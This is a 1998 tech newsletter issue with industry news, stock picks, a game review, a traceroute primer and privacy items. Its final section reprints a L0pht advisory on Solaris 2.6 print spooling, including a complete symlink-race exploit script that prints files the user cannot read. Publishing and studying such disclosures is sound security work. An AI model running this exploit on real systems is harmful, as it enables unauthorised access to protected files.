

# TEK THOTS

## Electronic Newsletter

+--+--+ +--+--+--+  
|T|e|k| |T|h|o|t|s|  
+--+--+ +--+--+--+

TEK THOTS  
Volume 3, Number 2  
March 11, 1998  
Published irregularly by Scott C. Holstad

=====  
Copyright Notice  
Copyright (C) 1998 Scott C. Holstad  
All enclosed material may be used for non-commercial purposes.  
=====

\*\*\*\*\*  
DISCLAIMER The views and analysis expressed in Tek Thots are the author's own, and do not in  
any way reflect the views of EarthLink Network, Inc., the author's employer.  
\*\*\*\*\*

### CONTENTS

-- News/Editorial  
-- PC Thots  
-- Programming Thots  
-- Web Development Thots  
-- This Issue's Software-O-Rama  
-- Stock Thots  
-- Game Thots  
-- Newbie Thot  
-- Privacy/Security Thots

=====  

### News/Editorial

-----

\* Hi, and welcome to another issue of Tek Thots! So much is happening these days - how the heck do any of us keep up with it??? I'm getting ready to head on over to Spring Internet World here in L.A. Hey, free t-shirts, eh? As I write this, the papers are screaming about Pentagon hacker break ins (like that's new???), MCI and WorldCom are trying to get the Feds to approve their deal, Computer Associates are STILL trying to take over Computer Sciences, Apple finally killed Newton, Internet stocks are g oing insane, Bill Gates has been

defending his capitalistic practices (or is it Standard Oil?) in front of Congress, hardware manufacturers are taking big earnings hits, Netscape execs are filing like crazy to sell tons of shares, and ... well, I go could on, but what I time to be in the industry, huh?

\* For those of you who like stupid browser tricks or simply like the concept of taking a swat at Bill Gates, John Tesh, Martha Stewart, and others, check out the Punch Bill Gates page (<http://www.well.com/user/vanya/bill.html>). A Bowling Green State University student named John D. Morelli put it up, and it's not a bad way to alleviate a little stress now and again.

\* Well, how about the Internet shakeups? AOL raised its price by \$2?!? Pretty ballsy, say I, but they're one of the few to be able to get away with it. Netcom did it some time back, and they've been seeing customer erosion ever since. Of course, crapp y service may have nothing to do with that either. ;) What about EarthLink? Sprint bought a 30% minority share!!! Meanwhile, Mindspring's stock has just been rocketing. Rumors of that company being bought? A sign of things to come?

AOL's price raise has, of course, benefited its competitors as well, driving customers away in droves to the EarthLinks, Mindsprings, Erols, and Concentrics of the world. Have you seen, though? AOL's stock has done nothing but rise ever since. Evidentl y the street likes it, and you know why? Even though AOL might lose a million or so customers short term, they're going to be bringing in \$20 million+ in cold hard cash per month. Not bad.

\* You ever wonder why everyone wants Microsoft's ass kicked by the Feds (or, in Larry Ellison's case, Oracle) because, well they control too much of the PC, too much of the Internet, too much of the world, yet no one's really saying anything about the MCI /WorldCom deal? I wonder about this. Don't get me wrong - I'm a happy WorldCom stockholder (ok, not too many shares, I admit, but the principle remains). But, after this merger, man, this company is going to OWN the Internet. I've seen estimates that some 65%+ of Internet traffic will travel over MCI/WorldCom network lines. That's a lot of power there in one company. And, everyone knows, WorldCom isn't finished yet....

\* The US governors want to tax the Internet??? Guess they want their share of the pie, eh? Fortunately, Bill has said no deal for the meantime. In fact, the House of Representatives is supposed to vote on a measure banning Net taxes in the next few wee ks. Still, guess it's only a matter of time.

\* Things to watch for: Microsoft selling off MSN, AOL continuing to grow, other ISPs raising prices, semiconductor stocks continuing to go down, Yahoo's stock continuing to be a strong stock, telcos continuing to sell of their ISP customer base (they can 't do Internet ya know), more blather about content (like it's a new concept or something), temporary Apple stabilization and more!

=====

#### PC Thots

-----

\* Compaq, Intel, Motorola, others, all taking earnings hits. Ouch! Analysts are going nuts debating whether we're seeing a return to reality or whether it's simply a short term Asian crisis issue. I don't claim to be the world's greatest expert on such issues, but my take on it is that it is short term - these manufacturers will feel a pinch into the summer, but things will even out, and they'll be back to solid growth prospects. Maybe I read to much of Warren Buffett, but I tend to place a lot of cre dence in the Buffett-inspired assertion that those people who bought and held a solid portfolio through Black Monday a few years ago have seen their portfolios double, and I don't see Compaq or Dell or Intel (even thought it was 10% below expectations and brought down the market 50 points!) or any of the others going south anytime too soon.

\* Microsoft and NCR recently signed a 15 year deal based upon server-patent cross licensing, increased development, marketing and training initiatives, and data warehousing porting.

The kicker is, NCR is using (Sun's) Solaris as its base for future 64-bit initiatives, and Microsoft's not completely happy about it. My take? As an NCR stockholder, hey, play 'em off of one another - go with it!

=====

#### Programming Thots

-----

\* Synkronix and MicroEdge recently announced an OEM agreement designed to enhance a new Cobol to Java Cross-Compiler. This agreement is such that Synkronix will distribute MicroEdge's programmer's editor, Visual SlickEdit, within its new PERCobol tool. PERCobol is a compiler that allegedly generates 100% pure Java programs from ANSI COBOL-85 source code. (I haven't seen it yet.) The Java source which is generated from PERCobol is supposed to be compiled by Sun's JDK or any other JDK1.1+ compatible Java development environment. Sounds interesting, but stability is a real issue with me, so I won't hold my breath - we'll just see how she looks!

\* Y2K. Big stuff. I'm not a Y2K expert, and I don't know too many people who are. But, the industry's getting so big right now that I'm getting calls all the time from large, reputable companies asking for Y2K Project Managers and the like - they'll train! Hey, high pressure, sure, but maybe there are a few good long term contract jobs out there for programmers and project managers - look around!

=====

#### Web Development Thots

-----

\* How about real-time Web banner ads? Sound interesting? Well, an outfit call Darwin Digital (<http://www.darwindigital.com/>) recently announced just such a venture, using a Java-based tool of their own design. Ecommerce may be all the rage, but right now those banner ads are paying the way for most people. What many don't realize is that it often takes up to 2 weeks to get new versions out there. Real-time updates should be a real boon for advertisers and may result in even more dollars for the companies utilizing them out there. And frankly, I'd rather look at a banner than get tons 'o spam in the old mailbox.

\* Microsoft and Apple announced that they're finally working on a true JVM for the Mac, and it looks like a lot of companies are buying into it. It'll be based upon Apple's Mac OS Runtime for Java, and it should bring about some semblance of Java unification for the PC and Mac platforms.

\* Recent tool releases: NetObjects ScriptBuilder 2.0, Luckman's Web Studio 2.0, Information Builders' WebFOCUS Suite, Vision Factory's Cat@log 2.5.

=====

#### This Issue's Software-O-Rama

-----

\* Came across a nifty Internet tool recently called Alexa (<http://www.alexa.com/download/tb/>). It slices, it dices, ... no, no, that's not it, sorry. It does do some cool things though. The maker of WAIS came up with this tool which allows you to surf (according to their marketing drive!):

Smarter: Alexa gives you behind the scenes information on every site on the Web. Faster: Alexa surfs with you to instantly provide recommended links for where to go next on the Web. Easier: "One click" access to information and recommendations without leaving the page you

are currently visiting.

For instance, it tells you the registered owner of the site (obviously accessing Internic data), how many times the site is visited, it allows Alexa users to rate sites, it provides suggested alternatives for future surfing, etc. It connects to dictionary, encyclopedias, and other types of info databases, and well, it's pretty cool. Those of you who've played with WebQuick might be familiar with some of its features, and frankly I wouldn't mind seeing a marriage of the two. One of the coolest things is that the people putting this out - for free - are still in the beginning stages and are open to suggestions, so download it, check it out, and think of ways to make it cooler!

=====

#### Stock Thots

-----

\* Wow! How about those Internet (really, those ISP) stocks! Mindspring, EarthLink, AOL, IDT, and to a lesser degree, Concentric have all been experiencing enormous growth lately. Those stocks are surging! EarthLink, of course, was helped by the EarthLink/Sprint alliance announcement. EarthLink's stock went up over \$13 in two days. AOL's was helped by its announcement of raising its base price from \$19.95 to \$21.95 (<http://www.news.com/News/Item/0,4,18957,00.html>). Investors seem to feel AOL's leading the field in this area, expecting others to follow suit. While AOL will undoubtedly lose customers because of this, it'll be seeing a \$20 million+ influx per month short term. I really don't expect to see the company wither up and go away. It'll lose a few hundred thousand people, and then start progressing forward again. We all know these stocks are volatile, of course, but my bet is these stocks are good through the summer, at least. Long term hold? Who knows....

\* A friend of mine complained last month that I bitch too much and focus on the negative. While this has been the story of my life, and I don't anticipate changing anytime soon, I did promise to talk about some (ok, at least one anyway) companies doing it right. Yahoo! has been a good acquisition from Day 1, and I think it's been doing a lot right. Yahoo! keeps expanding its product/services line and everything looks very rosy. Bet all of those original Netscape investors now wish they had purchased Yahoo! shares instead, eh?

\* Here's one I kind of like: SRS Labs (SRSL). SRS Labs is a NASDAQ-traded company which makes 3D sound technology for a variety of industries: computers, cars, TVs, stereos, etc. They've partnered with 115+ OEMs, have their products in (I think) the top 10 PC maker's boxes, and are positioning themselves well. They're rated a strong buy or buy by several analysts, and for under \$10, who knows, ya might make something long term....

=====

#### Game Thots

-----

\* I went out recently and bought EA Sports' NCAA Football 98 (or something named remarkably like that). I would verify the name of the game, but I don't have it with me, and I can't get the damn EA site to work - too many JavaScript errors (nice programming, guys!). Anyway, for those sports enthusiasts among you who like a nice, fun, arcade game, this might be it. You get tons of NCAA teams (including my Tennessee Vols), a lot of fairly nicely rendered stadiums, enough detailed plays to make most people happy, ample player actions, audibles, and an AI which isn't too shabby. Downsides? It hosed my PC. OK, I don't know whether it was the game, that's true, but it did freeze mid-game, and after that, well I couldn't get W95 to boot no matter what I did. Maybe the same programmers who did their Web page did the game.... Aside from that, you don't get player names on the jerseys - only numbers (I know they're not allowed to do this - NCAA regulations, and all that, but

still...), strategy buffs will be very disappointed, serious arcade gamers might think it's too easy, and you can't quit mid-game without forfeiting (???). Still, assuming EA isn't responsible for a dead PC, a fun game and one I'm eager to resume playing.

=====

Newbie Thot

-----

\* I've often been asked how in the world one can figure out where their data goes after it leaves their computer - in other words, what route does it take, how does it arrive at its destination? Well, believe it or not, you can trace the path of your data to its destination pretty easily through a utility called traceroute. There are a number of good programs out there which can aid you in this. One I like in particular is called Cyberkit and you can find it through most shareware sites. You simply type in the host or address of the site you want to trace - your destination - and the utility does the rest. For instance, let's say I wanted to see how I get from an EarthLink connection to my Well connection. Here's the output:

Tuesday, March 10, 1998 05:11:07PM

TraceRoute to host well.com

#	Address	Host Name	Response Time
1	207.217.89.1	Unavailable	0 ms
2	207.217.50.242	Unavailable	2 ms
3	204.6.99.1	ip1.dmz99.sw.us.psi.net	2 ms
4	38.1.2.17	Unavailable	15 ms
5	134.24.88.55	f1-0-0.sjc-bb1.cerf.net	18 ms
6	134.24.29.38	atm8-0-155M.sjc-bb3.cerf.net	16 ms
7	134.24.23.10	wenet-gw.sjc-bb3.cerf.net	59 ms
8	206.80.25.1	ix-sf-eth0.bdr.hooked.net	59 ms
9	206.80.17.23	alternet.bdr.hooked.net	34 ms
10	206.15.64.10	well.com	42 ms

It shows the routers where the data is passed on (through psi.net and cerf.net before reaching hooked.net, which is owned by The Well), and the amount of time it takes. This is useful information for spam haters. Trace the path of the spammer through this utility and you know who is giving him network connectivity. (This, of course, involves reading headers. Maybe that'll be another Newbie Thot.)

There's a traceroute utility wandering around right now which is pretty popular. NeoTrace (<http://www.neoworx.com/>) provides a funky GUI which seems pretty popular these days. More power to 'em, but it doesn't really tell me anything more than a standard text based traceroute tool. Nonetheless, you might want to check it out.

=====

Privacy/Security Thots

-----

\* For those of us interested in some of the big issues out there, this bit of news gleaned from Phrack 51 is potentially disturbing.

Title: Georgia Expands the "Instruments of Crime"  
Source: [fight-censorship@vorlon.mit.edu](mailto:fight-censorship@vorlon.mit.edu)

In Georgia it is a crime, punishable by \$30K and four years to use in furtherance of a crime:

- \* a telephone
- \* a fax machine
- \* a beeper
- \* email

The actual use of the law, I think, is that when a person is selling drugs and either is in possession of a beeper, or admits to using the phone to facilitate a meeting, he is charged with the additional felony of using a phone. This allows for selective enforcement of additional penalties for some people.

O.C.G.A. 16-13-32.3.

(a) It shall be unlawful for any person knowingly or intentionally to use any communication facility in committing or in causing or facilitating the commission of any act or acts constituting a felony under this chapter. Each separate use of a communication facility shall be a separate offense under this Code section. For purposes of this Code section, the term "communication facility" means any and all public and private instrumentalities used or useful in the transmission of writing, signs, signals, pictures, or sounds of all kinds and includes mail, telephone, wire, radio, computer or computer network, and all other means of communication.

(b) Any person who violates subsection (a) of this Code section shall be punished by a fine of not more than \$30,000.00 or by imprisonment for not less than one nor more than four years, or both.

While possibly well intentioned, this just strikes me as yet another law which can be mis-used, manipulated, and generally toyed with to strike at the evil "hackers" out there - people such as Ed Cummings (<http://www.2600.com/indexarchive.html>). Call me cynical, but I just hate seeing laws like these pop up. Well, guess we'll just have to see how Georgia handles this.

\* Yes, more government-sponsored attempts to restrict Internet free speech....

From: owner-cyber-liberties@aclu.org

#### Internet Censorship Legislation Takes Center Stage Again in Senate

Acting less than a year after the Supreme Court delivered a passionate defense of free speech on the Internet in *Reno v. ACLU*, a Senate committee held a hearing on \*Internet indecency\* this week where Senators John McCain (R-AZ) and Dan Coats (R-IN) called for support for two bills that seek to regulate content and control access to sensitive or controversial information on the Internet.

Commerce Committee Chairman McCain formally introduced legislation on Monday that would require schools and libraries to block "indecent" Internet sites or lose federal funds for online programs. In defending his proposal, McCain said that people should \*give up\* some of their civil liberties to prevent the dissemination of \*harmful\* material on the Net.

Senator Coats, who sponsored the ill-fated Communications Decency Act that was held unconstitutional last year, also called for support on a bill he introduced in November that would punish commercial online distributors of material deemed "harmful to minors" with up to six months in jail and a \$50,000 fine.

The ACLU said that, if adopted, both bills would almost certainly face a court challenge and would likely face the same fate as the Communications Decency Act, which was unanimously overturned by the Supreme Court last June.

In a letter to members of the Commerce Committee, ACLU Legislative Counsel Gregory T. Nojeim said that the ACLU recognizes the "deeply felt concerns of many parents about the potential abuse of information on the Internet."

But, he said, the ACLU strongly believes that individual Internet users must be given the right to access information and parents should not abdicate responsibility to the government for determining which information their children can see.

Under the Coats proposal, which was introduced last November, criminal penalties could be leveled against "distributors," a designation that could include the virtual bookstore amazon.com or a promotional site for a Hollywood movie, as well as Internet Service Providers such as Microsoft and America Online. And unlike the CDA, the Coats statute would apply only to web sites, not to chat rooms, e-mail or news groups.

The new McCain legislation threatens speech in a completely different way by cutting off federal funds to schools that do not implement restrictive Internet access policies. Such a plan, the ACLU said, would mean that teachers could not assign Internet research on subjects such as female genital mutilation or the history of the Roe v. Wade abortion rights case -- information that is typically blocked when filters are installed, and that is otherwise available on the shelves of school and public libraries.

The ACLU, along with other members of the Internet Free Expression Alliance, (IFEA), which the ACLU co-founded, also submitted letters objecting to online censorship efforts. Letters by Feminists for Free Expression, Electronic Frontier Foundation, Electronic Privacy Information Center (EPIC) and the National Coalition Against Censorship are available online at the IFEA home page, at

The ACLU and IFEA plan to fight the passage of both the McCain and Coats bills.

The ACLU's letter to the Commerce Committee can be found at:

\* You Kevin Mitnick fans might want to go to 2600's dedicated Kevin site (<http://www.2600.com/kevin/>) to pick up a Free Kevin Now! button (believe it or not). He's in court this week, and word is he'll be going to trial in September. I'm not defending his actions, but 3 years in jail before even going to trial for hacking - not profiting, not selling credit card numbers, not doing anything which actually earned him cash or others physical harm - 3 years before trial sounds pretty friggin' steep!

\* Does anyone else get nervous when he starts reading front page stories about evil hacking taking place, getting into the Pentagon's computers, the Feds', your mothers, everyone's? No, I'm not talking about fearing for our country; I'm talking about motive! 1) These things happen every day, have for years, will for years. 2) Is it always coincidental that you see a rise in these stories when the Feds (in this case, the Justice Department) are asking for money (in this case \$64+ million) to fund computer security measures? 3) Is there any way of proving these attacks occurred, or are we simply taking them at their word? 4) How do we know it's not an inside job - hey, we all need more restrictions, regulations, government interference, right? 5) Or, am I simply a paranoid conspiracy freak? One thought: Son of Clipper....

\* Thanks to the Journal of Electronic Defense:

#### Israel Orders COTS Computer Systems

The Israeli Ministry of Defense has tapped Mercury Computer Systems (Chelmsford, MA) for four of its RACE series computer systems for "application development work," according to a source at Mercury. The order represents the third in an ongoing series, with a total value to date of \$1.2 million. Details of Israel's intended defense application could not be disclosed at press time, although the country is known to currently employ RACE systems for

explosives detection purposes.

The RACE product is a heterogeneous multicomputer providing high-bandwidth, low-latency capability for real-time, embedded applications including EW-related items. Jay Bertelli, Mercury's president and CEO, noted that this sale is significant since it "marks the adoption of a commercial off-the-shelf solution for an important Israeli defense project." - K. Cormier

\* Logicon, Inc., a company I interviewed with in '96 (grueling 4 person, 4 hour interview) has received a \$10 million contract from the USAF Electronic Systems Center to provide for development of the aircraft/ weapons/ electronics software module applicable to the B-1B aircraft. This software will serve as the link between the aircraft and the Air Force Mission Support System. They're not the only ones getting interesting technical contracts. TRW got a \$22 million add-on for its Tactical High Energy Laser (THEL) Advanced Concept Technology Demonstrator contract, and Fibertek got a \$9 million contract from the Space and Naval Warfare Systems Center for the design and test of an ultra-compact, direct detection laser radar sensor system compatible with the Ballistic Missile Defense Office's Discriminating Interceptor Technology Program operational ballistic missile interceptor system. (Thank you JED.)

\*

#### L0pht Security Advisory

Document: L0pht Security Advisory  
 URL Origin: <http://www.l0pht.com/advisories.html>  
 Release Date: February 23, 1998  
 Application: `printf (lp)`  
 Operating Sys: Solaris 2.6  
 Severity: Users can overwrite/create system files  
           Users can print unreadable files  
 Author: silicosis  
 Patch Status: Sun has been made aware of the vulnerabilities  
               3 weeks ago and still has not released a patch.

#### Create/Overwrite Files:

Sun hasn't learned from its past mistakes; temp files are still a problem this time it's with '`printf`' (`lp`). Upon printing a large file that sits in the queue for ~1minute, a lock file (`/tmp/.printf.lock`) is created. Before you print something large, create a symlink pointing to the `/tmp/.printf.lock` towards something you'd like to create/overwrite.

When `printf` is done, the file your pointing to will have mode 640, and the contents will contain `printf`'s pid.

.....

#### Printing unreadable files:

Sun has restructured their print spooling in Solaris 2.6. They've gone over to a queueing system that's similar to `sendmail`:

```
[~]lp .tcshrc
[~]ls -al /var/spool/print
total 12
drwxr-xr-x  2 root    lp          512 Feb 20 12:44 .
```



```

drwxrwxr-x  10 root      bin           512 Feb 17 11:28 ..
-rw-rw-r--   1 root      staff          4 Feb 20 12:44 .seq
-rw-r-----  1 root      staff         80 Feb 20 12:44 cFA037core
lrwxrwxrwx   1 root      staff         19 Feb 20 12:44 dFA037core ->
/home/sili/.tcshrc
-rw-r-----  1 root      staff         23 Feb 20 12:44 xFA037core

```

You have your control, transfer and datafiles. The datafile is just a symlink to the file you printed, so if you link the file you printed to something else \*before\* the queue is flushed, printd will print it.

A simple exploit script:

----[CUT HERE: sol26lp]----

```

#!/bin/sh
#
#Print unreadable files on solaris2.6
#sili@l0pht.com
#
# --If it didn't work, change $BIGFILE to
#   something bigger.
#
# --Script usually works 80% of the time..
#   Didn't work? Try again.. Throw something
#   at the printspooler to slow it down.
#
TMPFILE="./.dmlr"
BIGFILE="/usr/lib/libc.so.1"

if [ $# != 1 ]; then
    echo "Usage:"
    echo
    echo "./sol26lp "
    echo
    echo "Print unreadable files on Solaris2.6"
    echo "      ----sili@l0pht.com"
    exit 1
fi

echo "Need a large file to print, using $BIGFILE."
cp /usr/bin/vi $TMPFILE ; chmod 700 $TMPFILE
lp $TMPFILE ;
#sleep 1;

rm $TMPFILE ; ln -s $1 $TMPFILE

QF=`ls -al /var/spool/print |grep $TMPFILE |awk '{print $9}'`

echo "Queue File: /var/spool/print/$QF"

while [ -h /var/spool/print/$QF ]; do
    echo "Waiting for file to print";
    sleep 1;
done

echo "File printed. Erasing temp files."
rm $TMPFILE

echo "Done."

```

echo  
echo " --sili@l0pht.com 1/20/98"

----[CUT HERE: sol26lp]----

--- End of forwarded message from Aleph One

=====

#### SUBSCRIPTION INFO

To Subscribe: Send email to [sch@well.com](mailto:sch@well.com). In the subject line, write "subscribe tek thots." In the message area, write your email address.

To Unsubscribe: : Send email to [sch@well.com](mailto:sch@well.com). In the subject line, write "unsubscribe tek thots." In the message area, write your email address.


At this point and until further notice, the email list will be handled manually.

=====

Online versions of this electronic newsletter will be archived at:  
<http://www.well.com/user/sch/tekthots.html>.

Copyright (C) 1998 Scott C. Holstad  
ASCII Tek Thots logo courtesy Teri Osato

---

Click on  to return to Tek Thots.